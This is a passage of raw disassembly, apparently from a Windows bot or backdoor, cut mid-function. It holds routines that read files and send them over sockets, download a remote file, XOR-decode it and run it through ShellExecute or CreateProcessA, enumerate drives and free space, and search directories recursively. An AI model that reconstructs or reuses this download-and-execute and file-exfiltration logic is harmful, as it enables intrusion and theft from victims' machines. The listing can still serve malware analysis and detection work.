dword_4CBA6C ; closesocket cmp [ebp+arg_0], esi jz loc_41648D mov edi, 400h loc_4163F0: ; CODE XREF: sub_4161C1+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_4163FD mov [ebp+var_4], eax loc_4163FD: ; CODE XREF: sub_4161C1+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_41BF70 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call dword_427128 ; SetFilePointer lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call dword_4270EC ; ReadFile push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_4CBA24 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_4CB9EC ; recv cmp eax, ebx jl loc_416522 mov eax, [ebp+var_4] cmp eax, ebx jl loc_416522 sub [ebp+arg_0], eax jnz loc_4163F0 mov edi, [ebp+var_18] loc_41648D: ; CODE XREF: sub_4161C1+224j push [ebp+var_8] call dword_427070 ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_416CC9 pop ecx pop ecx push eax push [ebp+var_44] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset unk_438028 push eax call sub_41C266 loc_4164C6: ; CODE XREF: sub_4161C1+1DCj add esp, 14h loc_4164C9: ; CODE XREF: sub_4161C1+215j cmp [ebp+var_50], esi jnz short loc_4164EE push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_409869 add esp, 14h loc_4164EE: ; CODE XREF: sub_4161C1+30Bj lea eax, [ebp+var_3FC] push eax call sub_415D38 cmp edi, esi pop ecx jbe short loc_416506 push edi call dword_4CBA6C ; closesocket loc_416506: ; CODE XREF: sub_4161C1+33Cj push [ebp+var_1F8] call dword_4CBA6C ; closesocket push [ebp+var_58] call sub_40B6D6 pop ecx push esi call dword_4270D4 ; ExitThread loc_416522: ; CODE XREF: sub_4161C1+2AFj ; sub_4161C1+2BAj push esi mov esi, offset dword_438010 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_409869 push esi call sub_415D38 add esp, 18h push [ebp+var_1F8] call dword_4CBA6C ; closesocket push [ebp+var_58] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread sub_4161C1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416563 proc near ; DATA XREF: sub_401ACD+798o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax call dword_42707C ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset dword_429AC8 push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call dword_4270F8 ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_4165ED push offset unk_43818C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_4165ED: ; CODE XREF: sub_416563+81j push eax call dword_427070 ; CloseHandle lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_41BEA2 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_416615 push offset unk_43815C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_416615: ; CODE XREF: sub_416563+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_415F7A pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_416646 push offset unk_43813C loc_416633: ; CODE XREF: sub_416563+88j ; sub_416563+B0j lea eax, [ebp+var_4C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_416742 ; --------------------------------------------------------------------------- loc_416646: ; CODE XREF: sub_416563+C9j mov esi, 1000h loc_41664B: ; CODE XREF: sub_416563+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_4CB9EC ; recv mov edi, eax cmp edi, ebx jz loc_416712 cmp edi, 0FFFFFFFFh jz short loc_4166B3 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_41DB54 add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_4CB9D0 ; htonl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_4CBA24 ; send jmp short loc_41664B ; --------------------------------------------------------------------------- loc_4166B3: ; CODE XREF: sub_416563+118j lea eax, [ebp+var_4C4] push offset dword_438010 push eax call sub_41C266 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_409869 lea eax, [ebp+var_4C4] push eax call sub_415D38 push [ebp+var_4] call sub_41BA3B add esp, 24h push [ebp+arg_0] call dword_4CBA6C ; closesocket push [ebp+var_1C] call sub_40B6D6 pop ecx push 1 call dword_4270D4 ; ExitThread loc_416712: ; CODE XREF: sub_416563+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_4C4] push offset unk_438110 push eax call sub_41C266 add esp, 14h loc_416742: ; CODE XREF: sub_416563+DEj cmp [ebp+var_14], ebx jnz short loc_416767 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_409869 add esp, 14h loc_416767: ; CODE XREF: sub_416563+1E2j lea eax, [ebp+var_4C4] push eax call sub_415D38 cmp [ebp+var_4], ebx pop ecx jz short loc_416782 push [ebp+var_4] call sub_41BA3B pop ecx loc_416782: ; CODE XREF: sub_416563+214j cmp [ebp+arg_0], ebx jbe short loc_416790 push [ebp+arg_0] call dword_4CBA6C ; closesocket loc_416790: ; CODE XREF: sub_416563+222j push [ebp+var_1C] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread sub_416563 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A0 proc near ; DATA XREF: sub_401ACD+619Bo ; sub_401ACD+69D9o var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_4CB984 call dword_4CB8D8 ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_416C2C push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call dword_4270F8 ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_416867 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_438358 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_41684A push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409869 add esp, 14h loc_41684A: ; CODE XREF: sub_4167A0+88j lea eax, [ebp+var_510] push eax call sub_415D38 push [ebp+var_48] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread loc_416867: ; CODE XREF: sub_4167A0+68j xor edi, edi call dword_4270B0 ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_41BEB5 pop ecx mov [ebp+var_1C], eax loc_416881: ; CODE XREF: sub_4167A0+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_4CB8E0 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_4168C5 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_416C92 pop ecx pop ecx loc_4168C5: ; CODE XREF: sub_4167A0+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call dword_4270F0 ; WriteFile cmp edi, ebx jnb short loc_416903 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_4168ED mov eax, [ebp+arg_0] loc_4168ED: ; CODE XREF: sub_4167A0+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_41CD20 add esp, 0Ch loc_416903: ; CODE XREF: sub_4167A0+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_416910 cmp edi, [ebp+var_3C] ja short loc_41695A loc_416910: ; CODE XREF: sub_4167A0+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_41692A shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_438330 jmp short loc_41693A ; --------------------------------------------------------------------------- loc_41692A: ; CODE XREF: sub_4167A0+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_438308 loc_41693A: ; CODE XREF: sub_4167A0+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_43E710 push eax call sub_41C266 add esp, 10h cmp [ebp+arg_0], esi ja loc_416881 loc_41695A: ; CODE XREF: sub_4167A0+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_4169AF cmp edi, [ebp+var_3C] jz short loc_4169AF push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_4382DC push eax call sub_41C266 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409869 lea eax, [ebp+var_510] push eax call sub_415D38 add esp, 28h loc_4169AF: ; CODE XREF: sub_4167A0+1C4j ; sub_4167A0+1C9j call dword_4270B0 ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_427070 ; CloseHandle push [ebp+var_1C] call sub_41BA91 cmp [ebp+var_38], esi pop ecx jz short loc_416A39 lea eax, [ebp+var_148] push eax call sub_4010AB cmp eax, [ebp+var_38] pop ecx jz short loc_416A39 push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_4382B4 push eax call sub_41C266 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409869 lea eax, [ebp+var_510] push eax call sub_415D38 add esp, 28h loc_416A39: ; CODE XREF: sub_4167A0+241j ; sub_4167A0+253j cmp [ebp+var_14], esi jz loc_416C79 cmp [ebp+var_44], 1 jz loc_416B34 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_427690 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_427690 fstp [esp+590h+var_590] push offset unk_43827C push eax call sub_41C266 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_416AB4 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409869 add esp, 14h loc_416AB4: ; CODE XREF: sub_4167A0+2F2j lea eax, [ebp+var_510] push eax call sub_415D38 cmp [ebp+var_40], 1 pop ecx jnz loc_416C79 push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_4CB940 cmp [ebp+var_30], esi jnz loc_416C79 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_438260 push eax call sub_41C266 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409869 lea eax, [ebp+var_510] push eax call sub_415D38 add esp, 24h jmp loc_416C79 ; --------------------------------------------------------------------------- loc_416B34: ; CODE XREF: sub_4167A0+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_427690 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_427690 fstp [esp+590h+var_590] push offset unk_43821C push eax call sub_41C266 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_416B9C push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409869 add esp, 14h loc_416B9C: ; CODE XREF: sub_4167A0+3DAj lea eax, [ebp+var_510] push eax call sub_415D38 push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_41BF70 add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_43DB88 push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi call dword_427074 ; CreateProcessA cmp eax, edi jnz short loc_416C1E call dword_4CB92C ; WSACleanup call sub_4188A6 push esi call dword_42706C ; ExitProcess loc_416C1E: ; CODE XREF: sub_4167A0+46Aj lea eax, [ebp+var_148] push eax push offset unk_4381E8 jmp short loc_416C38 ; --------------------------------------------------------------------------- loc_416C2C: ; CODE XREF: sub_4167A0+45j lea eax, [ebp+var_248] push eax push offset unk_4381BC loc_416C38: ; CODE XREF: sub_4167A0+48Aj lea eax, [ebp+var_510] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_416C6C push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409869 add esp, 14h loc_416C6C: ; CODE XREF: sub_4167A0+4AAj lea eax, [ebp+var_510] push eax call sub_415D38 pop ecx loc_416C79: ; CODE XREF: sub_4167A0+29Cj ; sub_4167A0+325j ... push [ebp+var_18] call dword_4CBA08 ; InternetCloseHandle push [ebp+var_48] call sub_40B6D6 pop ecx push esi call dword_4270D4 ; ExitThread sub_4167A0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416C92 proc near ; CODE XREF: sub_4167A0+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416CAE loc_416C9E: ; CODE XREF: sub_416C92+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416C9E locret_416CAE: ; CODE XREF: sub_416C92+Aj retn sub_416C92 endp ; =============== S U B R O U T I N E ======================================= sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p ; sub_401ACD+5896p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DC5E pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416CAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CC9 proc near ; CODE XREF: sub_41036B+458p ; sub_41036B+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D35F8 push 0 push edi call sub_41BF70 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416CEE: ; CODE XREF: sub_416CC9+5Bj ; sub_416CC9+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41DD20 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41DCB0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416D2C inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416CEE mov byte ptr [esi], 2Ch inc esi jmp short loc_416CEE ; --------------------------------------------------------------------------- loc_416D2C: ; CODE XREF: sub_416CC9+4Bj dec esi mov eax, edi loc_416D2F: ; CODE XREF: sub_416CC9+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416D3E mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416D2F ; --------------------------------------------------------------------------- loc_416D3E: ; CODE XREF: sub_416CC9+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416CC9 endp ; =============== S U B R O U T I N E ======================================= sub_416D48 proc near ; CODE XREF: sub_416EFD+51p ; sub_416EFD+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA34 ; GetDriveTypeA sub eax, 0 jz short loc_416D8B dec eax jz short loc_416D85 dec eax dec eax jz short loc_416D7F dec eax jz short loc_416D79 dec eax jz short loc_416D73 dec eax jz short loc_416D6D mov eax, offset word_4383AC retn ; --------------------------------------------------------------------------- loc_416D6D: ; CODE XREF: sub_416D48+1Dj mov eax, offset off_4383A8 retn ; --------------------------------------------------------------------------- loc_416D73: ; CODE XREF: sub_416D48+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416D79: ; CODE XREF: sub_416D48+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416D7F: ; CODE XREF: sub_416D48+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416D85: ; CODE XREF: sub_416D48+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416D8B: ; CODE XREF: sub_416D48+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D91 proc near ; CODE XREF: sub_416DD9+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CB8C4 test eax, eax jz short loc_416DC6 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_416DC6: ; CODE XREF: sub_416D91+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416D91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p ; sub_41AF8F+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416D91 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416EB7 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41C360 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41C360 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41C360 add esp, 10h pop ebx jmp short loc_416EE9 ; --------------------------------------------------------------------------- loc_416EB7: ; CODE XREF: sub_416DD9+2Cj ; sub_416DD9+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41C266 pop ecx pop ecx loc_416EE9: ; CODE XREF: sub_416DD9+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416DD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EFD proc near ; CODE XREF: sub_416FCF+17p ; sub_416FCF+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41CA50 add esp, 10h test eax, eax jnz short loc_416F70 push ebx push ebx call sub_416D48 pop ecx push eax push offset unk_4383FC lea eax, [ebp+var_500] push 200h push eax call sub_41C360 add esp, 14h jmp short loc_416FA4 ; --------------------------------------------------------------------------- loc_416F70: ; CODE XREF: sub_416EFD+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416D48 pop ecx push eax push offset unk_4383C0 lea eax, [ebp+var_500] push 200h push eax call sub_41C360 add esp, 20h loc_416FA4: ; CODE XREF: sub_416EFD+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_500] push eax call sub_415D38 add esp, 18h pop edi pop esi pop ebx leave retn sub_416EFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416FF0 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EFD add esp, 10h jmp short loc_417051 ; --------------------------------------------------------------------------- loc_416FF0: ; CODE XREF: sub_416FCF+9j push esi push edi push ebx push ebx call dword_4CB93C ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_41BEB5 pop ecx mov edi, eax push edi push esi call dword_4CB93C ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_417048 loc_417014: ; CODE XREF: sub_416FCF+77j push offset aA_1 ; "A:\\" push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_417037 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EFD add esp, 10h loc_417037: ; CODE XREF: sub_416FCF+54j push esi call sub_41B9C0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_417014 loc_417048: ; CODE XREF: sub_416FCF+43j push edi call sub_41BA91 pop ecx pop edi pop esi loc_417051: ; CODE XREF: sub_416FCF+1Fj pop ebx pop ebp retn sub_416FCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417054 proc near ; DATA XREF: sub_401ACD+67C1o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_41B9C0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_4170A9 lea eax, [ebp+var_114] push eax call sub_41B9C0 pop ecx mov [ebp+eax+var_115], bl loc_4170A9: ; CODE XREF: sub_417054+3Fj lea eax, [ebp+var_218] push eax push offset unk_43845C lea eax, [ebp+var_49C] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+var_8], ebx jnz short loc_4170EE push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_409869 add esp, 14h loc_4170EE: ; CODE XREF: sub_417054+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_41716F add esp, 18h push eax lea eax, [ebp+var_49C] push offset dword_43843C push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_41714F push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_409869 add esp, 14h loc_41714F: ; CODE XREF: sub_417054+D9j lea eax, [ebp+var_49C] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 pop ecx pop ecx push ebx call dword_4270D4 ; ExitThread pop edi pop esi pop ebx sub_417054 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41716F proc near ; CODE XREF: sub_417054+B9p ; sub_41716F+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset dword_4384A0 push esi push eax call sub_41C360 mov edi, dword_427124 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset dword_429AC0 jz short loc_41722C loc_4171BB: ; CODE XREF: sub_41716F+BBj test [ebp+var_144], 10h jz short loc_417218 cmp [ebp+var_118], 2Eh jnz short loc_4171DF cmp [ebp+var_117], 0 jz short loc_417218 cmp [ebp+var_117], 2Eh jz short loc_417218 loc_4171DF: ; CODE XREF: sub_41716F+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41C360 push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41716F add esp, 2Ch mov [ebp+arg_14], eax loc_417218: ; CODE XREF: sub_41716F+53j ; sub_41716F+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] 